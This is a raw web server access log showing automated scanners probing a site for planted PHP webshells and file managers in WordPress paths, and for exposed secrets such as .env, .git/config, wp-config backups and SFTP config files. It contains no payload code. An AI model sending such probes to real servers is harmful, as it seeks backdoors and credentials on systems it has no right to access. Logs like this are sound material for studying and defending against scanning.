"GET /alfa.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:13:33 +0300] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:13:35 +0300] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:13:38 +0300] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:13:41 +0300] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:13:43 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:13:45 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:13:47 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:13:50 +0300] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:13:53 +0300] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:13:56 +0300] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:13:58 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:00 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:04 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:08 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:11 +0300] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:15 +0300] "GET /Assets/item.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:21:25 +0300] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:13:21 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:17:08 +0300] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:18:33 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:18:33 +0300] "GET /.well-known/pki-validation/about.php HTTP/1.1" 404 796 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:18:33 +0300] "GET /wp-admin/user/content.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:37 +0300] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:39 +0300] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:43 +0300] "GET /wp-includes/js/crop/zmFM.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:47 +0300] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:49 +0300] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:53 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:56 +0300] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:20:00 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:20:36 +0300] "GET /.well-known/acme-challenge/parx.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:20:40 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:20:43 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:21:32 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:17:25 +0300] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:17:38 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:12:35 +0300] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:12:38 +0300] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:12:42 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:12:45 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:15:29 +0300] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:16:44 +0300] "GET /wp-content/plugins/background-image-cropper/plugins.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:18:41 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:18:44 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:18:48 +0300] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:18:50 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:18:51 +0300] "GET /wp-includes/SimplePie/Cache/content.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:18:53 +0300] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:18:55 +0300] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:18:57 +0300] "GET /wp-mail.php/wp-includes/ID3/taptap-null.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:18:58 +0300] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:00 +0300] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:20:50 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:38 +0300] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:41 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:44 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:46 +0300] "GET /wp-includes/block-patterns/vuln.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:48 +0300] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:50 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:54 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:12:03 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:13:08 +0300] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:22 +0300] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:24 +0300] "GET /th/plugins/phpThumb/404.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:26 +0300] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:14:28 +0300] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:15:43 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:16:57 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:25 +0300] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:19:29 +0300] "GET /images/cjfuns.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:21:15 +0300] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:12:55 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:12:58 +0300] "GET /libraries/legacy/info.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:15:17 +0300] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:20:19 +0300] "GET /wp-includes/Text/wp.php HTTP/1.1" 301 795 "-" "-" 172.213.161.82 - - [12/Feb/2026:16:20:20 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 138.197.25.225 - - [12/Feb/2026:16:31:09 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 91.202.4.80 - - [12/Feb/2026:17:35:27 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 182.42.110.255 - - [12/Feb/2026:18:40:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.62.213.187 - - [12/Feb/2026:18:38:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 101.32.15.141 - - [12/Feb/2026:19:33:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 107.189.25.71 - - [12/Feb/2026:20:30:58 +0300] "GET /wp-config.php~ HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 20.166.49.198 - - [12/Feb/2026:20:29:13 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.96.141.131 - - [12/Feb/2026:20:39:23 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 113.134.196.101 - - [12/Feb/2026:20:14:13 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.100.195.100 - - [12/Feb/2026:21:12:35 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 103.77.106.118 - - [12/Feb/2026:21:12:35 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 20.100.195.100 - - [12/Feb/2026:21:12:43 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 103.77.106.118 - - [12/Feb/2026:21:12:32 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 216.26.226.82 - - [12/Feb/2026:21:22:04 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 72.146.1.23 - - [12/Feb/2026:21:30:30 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:36 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:40 +0300] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:32:27 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:32:27 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:32:31 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:33:31 +0300] "GET /wp-admin/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:30:41 +0300] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:30:42 +0300] "GET /fwe.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:30:45 +0300] "GET /images/m.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:30:48 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:30:51 +0300] "GET /tx1.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:30:53 +0300] "GET /xv.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:30:55 +0300] "GET /x56.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:30:58 +0300] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:00 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:49 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:52 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:56 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:59 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:32:00 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:34:42 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 209.50.175.202 - - [12/Feb/2026:21:22:04 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 72.146.1.23 - - [12/Feb/2026:21:33:18 +0300] "GET /themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:33:21 +0300] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:33:24 +0300] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:33:39 +0300] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:34:50 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:34:50 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:30:24 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:05 +0300] "GET /x50.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:07 +0300] "GET /fv.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:10 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:13 +0300] "GET /lsd.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:16 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:18 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:20 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:23 +0300] "GET /atx.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:26 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:31:30 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:32:16 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:32:36 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:32:36 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:32:36 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:32:37 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:32:40 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:32:47 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:32:52 +0300] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:33:00 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:33:07 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:33:11 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:33:52 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:34:11 +0300] "GET /plugins/Cache/footer.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:34:14 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:34:17 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:34:31 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:30:10 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:30:11 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:32:05 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:30:18 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:30:34 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:34:47 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:04 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:10 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:14 +0300] "GET /ac.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:17 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:19 +0300] "GET /pop.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:21 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:24 +0300] "GET /xaz.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:26 +0300] "GET /up4.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:27 +0300] "GET /1aa.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:30 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:32 +0300] "GET /wtz.php HTTP/1.1" 301 795 "-" "-" 191.96.67.182 - - [12/Feb/2026:22:28:06 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 72.146.1.23 - - [12/Feb/2026:21:36:57 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:36:59 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:37 +0300] "GET /galex.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:40 +0300] "GET /xb.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:44 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:39:46 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 72.13.46.9 - - [12/Feb/2026:22:22:37 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; ips-agent)" 72.13.46.9 - - [12/Feb/2026:22:22:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; ips-agent)" 72.146.1.23 - - [12/Feb/2026:21:34:52 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:34:54 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:34:56 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:34:58 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:21 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:25 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:27 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:29 +0300] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 65.111.30.221 - - [12/Feb/2026:23:08:18 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 72.146.1.23 - - [12/Feb/2026:21:35:25 +0300] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:27 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:29 +0300] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:32 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:34 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:37 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:40 +0300] "GET /uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:44 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:47 +0300] "GET /ww1.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:49 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:52 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:55 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:35:56 +0300] "GET /css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:48 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:50 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:52 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:54 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:56 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:59 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:01 +0300] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:03 +0300] "GET /ave.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:07 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:13 +0300] "GET /bibil.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:16 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:38 +0300] "GET /nox.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:42 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:45 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:38:48 +0300] "GET /class9.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:36:01 +0300] "GET /security.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:36:05 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:36:19 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:36:22 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:36:25 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:36:28 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:09 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:11 +0300] "GET /wp-content/themes/twentytwentytwo/index.php?p= HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:11 +0300] "GET /.well-known/log.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:34 +0300] "GET /juuuu.php HTTP/1.1" 301 795 "-" "-" 72.146.1.23 - - [12/Feb/2026:21:37:36 